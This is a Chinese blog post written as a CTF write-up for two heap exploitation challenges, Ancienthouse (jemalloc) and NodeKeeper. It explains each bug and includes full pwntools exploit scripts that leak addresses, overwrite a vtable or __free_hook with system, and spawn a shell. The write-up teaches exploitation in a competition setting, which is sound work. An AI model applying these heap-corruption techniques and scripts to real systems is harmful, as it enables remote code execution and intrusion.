Loading... ## Ancienthouse 这道题用了 2.2.5 版本 jemalloc 作为分配器,而不是传统的 ptmalloc。jemalloc 是 Facebook 开发的一个分配器,在 Firefox 和 redis 中都有应用。据说比 ptmalloc 有更好的性能,特别是在多线程下的表现非常优秀。我也是第一次听说这个东西,为了解题简单地了解了一下。在 csdn 上看到[一个很棒的系列](https://blog.csdn.net/txx_683/article/details/53468211),如果有兴趣跟着这些文章结合源码就可以理解的比较清楚了。我这里不再细讲,只说和题目相关的。 首先是漏洞点,这个很好发现。merge 操作中的 name 的拼接中存在堆溢出,可以溢出和堆块大小等长的长度 ```cpp const char *__fastcall strcat_name(const char *str1, char *str2, unsigned __int64 tot_len) { unsigned __int64 i; // [rsp+20h] [rbp-10h] size_t v6; // [rsp+28h] [rbp-8h] v6 = strlen(str1); for ( i = 0LL; i < tot_len; ++i ) str1[i + v6] = str2[i]; str1[i + v6] = 0; return str1; } ``` ```cpp ((void (__fastcall *)(_QWORD))*vtable)(vtable[1]); ``` 退出时会进行这样一个调用,所以思路就是通过 malloc 修改 vtable 这个结构体的前 8 字节为 system,然后紧跟着 `/bin/sh` 即可 getshell。同时 got 表中是有 system 的。 所以主要要做的就是 leak 出进程基址和对堆块的修改。 jemalloc 以 `run` 为单位来分配单个内存块,每个 run 都分配同样大小的 extend。比如下面就是一个 0x50 大小的 `run`。 ```cpp pwndbg> x/20xg 0x7ffff7008000 0x7ffff7008000: 0x00007ffff7800ca8 0x0000003100000001 0x7ffff7008010: 0x0003fffffffffffe 0x0000000000000000 0x7ffff7008020: 0x0000000000000000 0x0000000000000000 0x7ffff7008030: 0x0000000000000000 0x0000000000000000 0x7ffff7008040: 0x0000000000000000 0x0000000000000000 0x7ffff7008050: 0x0000000000000000 0x0000000000000000 0x7ffff7008060: 0x0000555555555b82 0x0000000000000000 0x7ffff7008070: 0x0000000000000000 0x0000000000000000 0x7ffff7008080: 0x0000000000000000 0x0000000000000000 0x7ffff7008090: 0x0000000000000000 0x0000000000000000 ``` 对于的 `run` 的 header 的结构为 ```cpp pwndbg> p *arenas[0]->bins[5]->runcur $11 = { bin = 0x7ffff7800ca8, nextind = 1, nfree = 49 } ``` 有趣的是这里的 bin 字段似乎可以用不上的,也就是说可以随意覆写 ```cpp pwndbg> x/20xg 0x00007ffff7008000 0x7ffff7008000: 0x0000000000000000 0x0000003000000002 0x7ffff7008010: 0x0003fffffffffffc 0x0000000000000000 0x7ffff7008020: 0x0000000000000000 0x0000000000000000 0x7ffff7008030: 0x0000000000000000 0x0000000000000000 0x7ffff7008040: 0x0000000000000000 0x0000000000000000 0x7ffff7008050: 0x0000000000000000 0x0000000000000000 0x7ffff7008060: 0x0000555555555b82 0x0000000000000000 0x7ffff7008070: 0x0000000000000000 0x0000000000000000 0x7ffff7008080: 0x0000000000000000 0x0000000000000000 0x7ffff7008090: 0x0000000000000000 0x0000000000000000 ``` 比如改写成 0 也是可以完成分配的。那么如果可以覆写 nextind 字段为 0,就可以分配到虚表上实现对函数指针的修改。本来有打算通过溢出来实现覆写,但是由于申请的次数受到了限制,遂作罢。 最后的思路是通过溢出部分覆写 name 字段,指向虚表,free 掉,过程中 leak 出进程地址,申请回来完全控制虚表。在部分覆写的时候可以 leak 出堆地址,这样 '/bin/sh\x00' 就比较好布置了。 不过由于 strcat_name 时会在末尾补零,所以需要先把堆地址 leak 出来。 ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./Ancienthouse") sh = remote("pwn.challenge.bi0s.in", 1230) def addEnemy(size, name): sh.sendlineafter(">> ", '1') sh.sendlineafter("size : ", str(size)) sh.sendafter("name : ", name) def battel(idx): sh.sendlineafter(">> ", '2') sh.sendlineafter("id : ", str(idx)) def battel_win_handle(choice): sh.sendlineafter(">>", str(choice)) def merge(idx_1, idx_2): sh.sendlineafter(">> ", '3') sh.sendlineafter("id 1: ", str(idx_1)) sh.sendlineafter("id 2: ", str(idx_2)) def flee(): sh.sendlineafter(">> ", '4') sh.sendlineafter("!! : ", "/bin/sh\x00") addEnemy(0x20, 'a' * 0x20) # 0 addEnemy(0x10, 'a' * 0x9) # 1 battel(0) sh.recvuntil("Starting battle with ") sh.recvuntil('a' * 0x20) heap_target_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x6050 + 0x8060 bin_sh_addr = heap_target_base - 0x8060 + 0x7040 log.success("vtable: " + hex(heap_target_base)) log.success("/bin/sh: " + hex(bin_sh_addr)) addEnemy(0x10, 'a' * 0x10) # 2 addEnemy(0x10, 'a' * 0x7 + p64(heap_target_base) + '\x0E') # 3 addEnemy(0x50, 'idx 4') # 4 for i in range(100 // 15): battel(3) battel(3) battel_win_handle(1) merge(1, 2) battel(4) sh.recvuntil("Starting battle with ") prog_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x1B82 system = prog_base + 0x1170 log.success("system: " + hex(system)) battel_win_handle(1) addEnemy(0x50, p64(system) + p64(bin_sh_addr)) # 5 #gdb.attach(proc.pidof(sh)[0]) flee() sh.interactive() ``` 总结:虽然这题用了 jemalloc,但是实际上并没有通过 jemalloc 实现利用,而是通过程序自身的逻辑完成的利用。另外由于 jemalloc 对于空闲的堆块并没有进行复用,所以布置数据的时候也可以比较随意。这道题还是比较简单的。 ## NodeKeeper 漏洞点也是很明显 ```cpp else if ( CountArr[v4] > 1u ) { ptr = node; Table[v4] = node->next; --CountArr[v4]; } if ( !CountArr[v4] ) Table[v4] = 0LL; printf("Do you want to keep it (y/n)? "); getInp(&v1, 2u); if ( v1 == 'y' || v1 == 'Y' ) { for ( j = 0; j <= 9 && Table[j]; ++j ) ; if ( j > 9 ) Err("No more space available"); Table[j] = ptr; CountArr[j] = 1; } ``` unlink 操作中,没有对节点的 next 指针置零。在 remove 的 1337 号功能下可以绕过 CountArr 的控制实现 double free 考虑首先 leak 出堆地址,然后伪造 data_ptr 指向一个 fake_chunk,free 掉进入 unsorted bin,leak 出 libc。最后通过 fake_chunk 的 chunk overlapping 打 free_hook ```cpp else if ( v4 ) { if ( v4 >= CountArr[v2] ) Err("Invalid offset"); for ( i = 1; v4 > i; ++i ) ptr = ptr->next; v6 = ptr->next; ptr->next = ptr->next->next; --CountArr[v2]; if ( !v6->data_ptr ) Err("Error"); free(v6->data_ptr); free(v6); } ``` 注意到在这个删除下不会清空 data_ptr,就可以 leak 堆地址了。 具体的流程比较麻烦,我也不想写了,看 exp 应该可以理解。 ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./chall") sh = remote("") libc = ELF("./libc.so.6") def add(length, data): sh.sendlineafter(">> ", '1') sh.sendlineafter("length : ", str(length)) sh.sendafter("data : ", data) def Remove(idx, offset): sh.sendlineafter(">> ", '2') sh.sendlineafter("index: ", str(idx)) sh.sendlineafter("all) ", str(offset)) def link(from_idx, to_idx): sh.sendlineafter(">> ", '3') sh.sendlineafter("to index: ", str(to_idx)) sh.sendlineafter("from index: ", str(from_idx)) def unlink(idx, offset, keep): sh.sendlineafter(">> ", '4') sh.sendlineafter("index: ", str(idx)) sh.sendlineafter("offset: ", str(offset)) sh.sendlineafter("(y/n)? ", keep) add(0x28, 'idx:0\n') add(0x18, 'idx:1\n') add(0x28, 'idx:2\n') link(1, 0) link(2, 0) unlink(0, 2, 'y') Remove(0, 2) add(0x18, '\n') # idx: 2 add(0x28, 'idx: 3\n') # avoid double free err Remove(1, 1337) link(3, 2) # unlink with leak sh.sendlineafter(">> ", '4') sh.sendlineafter("index: ", str(2)) sh.recvuntil("Offset 1 : ") heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x310 log.success("heap_base: " + hex(heap_base)) sh.sendlineafter("offset: ", str(1)) sh.sendlineafter("(y/n)? ", 'y') Remove(0, 1) # fake head payload = p64(0) + p64(0) payload += p64(0) + p64(0x4B1) payload += p64(heap_base) + p64(heap_base) add(0x38, payload) # idx: 0 # fill tcache add(0x38, '\n') # idx: 3 for i in range(6): add(0x38, '\n') # idx: 4 link(4, 3) Remove(3, 1337) Remove(0, 1) add(0x48, '\n') # idx: 0 for i in range(6): add(0x48, '\n') # idx: 3 link(3, 0) payload = p64(0) * 2 payload += p64(0x4B0) + p64(0x21) * 6 add(0x48, payload) link(3, 0) unlink(0, 7, 'y') # left in idx 3 Remove(0, 7) add(0x18, p64(0) + p64(0x100) + p64(heap_base + 0x3D0 + 0x10)) Remove(3, 1337) for i in range(6): Remove(0, 1) for i in range(5): add(0x38, '\n') # 0 add(0x38, '\n') # idx: 8 Remove(0, 1) Remove(3, 1) Remove(5, 1) Remove(6, 1) Remove(7, 1) add(0x28, '\n') # 0 add(0x28, '\n') # 3 add(0x18, '\n') # 5 add(0x18, '\n') # 6 add(0x28, '\n') # 7 Remove(5, 1) add(0x28, '\n') # 0 link(7, 8) # unlink with leak sh.sendlineafter(">> ", '4') sh.sendlineafter("index: ", str(8)) sh.recvuntil("Offset 1 : ") libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70 log.success("libc_base: " + hex(libc_base)) sh.sendlineafter("offset: ", str(1)) sh.sendlineafter("(y/n)? ", 'y') system = libc_base + libc.sym["system"] __free_hook = libc_base + libc.sym["__free_hook"] add(0x60, p64(0) * 7 + p64(0x41) + p64(__free_hook)) Remove(0, 1) Remove(3, 1) Remove(6, 1) add(0x38, '/bin/sh\x00') # 0 add(0x38, p64(system)) Remove(0, 1) #gdb.attach(proc.pidof(sh)[0]) sh.interactive() ``` 最后修改:2021 年 08 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
1 条评论